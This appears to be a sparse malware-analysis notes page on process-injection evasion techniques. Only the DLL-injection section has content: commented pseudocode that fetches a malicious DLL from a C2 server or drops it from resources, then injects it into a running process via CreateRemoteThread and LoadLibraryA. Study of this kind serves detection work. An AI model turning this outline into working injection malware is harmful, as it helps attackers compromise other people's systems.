Malware Evasion through Injection pt2
DLL-Injection
=> Spotting DLL-Injection:
=> Implementing DLL-Injection:
/* Case1: the executable connect to the C2 to download the malicious dll */
// Sample will query running processes looking for a running iexplore.exe
// getting a handle to iexplore.exe
hInternet = InternetOpenA();
// opens a url resource
hUrl = InternetOpenlUrlA(hInternet, lpszUrl, ...);
// _fopen a file to write dll into
// reads file from the connected C2
InternetReadFile(hFile, ...);
/**************************************************/
/* Case2: the executable drops the malicious dll from the resources */
// locating the resource inside the executable and writing it into a file
hRSRC = FindResourceA();
hData = LoadResource(hRSRC, ...);
// write data into a file
hFile = CreateFileA();
hFile = WriteFile(hFile, &Data, ...);
/*************************************************/
// locate target process by querying running processes
hSnapshot = CreateToolhelp32Snapshot();
Process32First();
// _strncmp
Process32Last();
// if the target process is located, obtain a handle to it
hProcess = OpenProcessA(..., dwPID);
// allocate a memory for the path to the malicious DLL, write it in target process
SIZE_OF_MALICIOUS_DLL = _strlen(DLLPATH)
VirtualAllocEx(hProcess, &Address, SIZE_OF_MALICIOUS_DLL, ...);
// write PATH into target process
WriteProcessMemory(hProcess, &Address, &buffer, ...);
// retrieve address of LoadLibraryA
hMod = GetModuleHandle/Ex(lphModName); //Kernel32.dll
hAddr = GetProcAddress(hMod, lpLoadLibrarya);
// create a thread in the remote target process passing LoadLibraryA with PATH to Malicious DLL
CreateRemoteThread(hProcess, ..., ..., LoadLibrayA, <&allocated_memory>, ...);
Helpful APIs:

Reflective DLL-Injection
=> Implementing Reflective DLL-Injection
APC-Injection
=> Implementation of APC-Injections:
Helpful APIs:
EarlyBird-APC-Injection
=> Implementing EarlyBird APC-Injection
=> Spotting EarlyBird APC-Injection
Last updated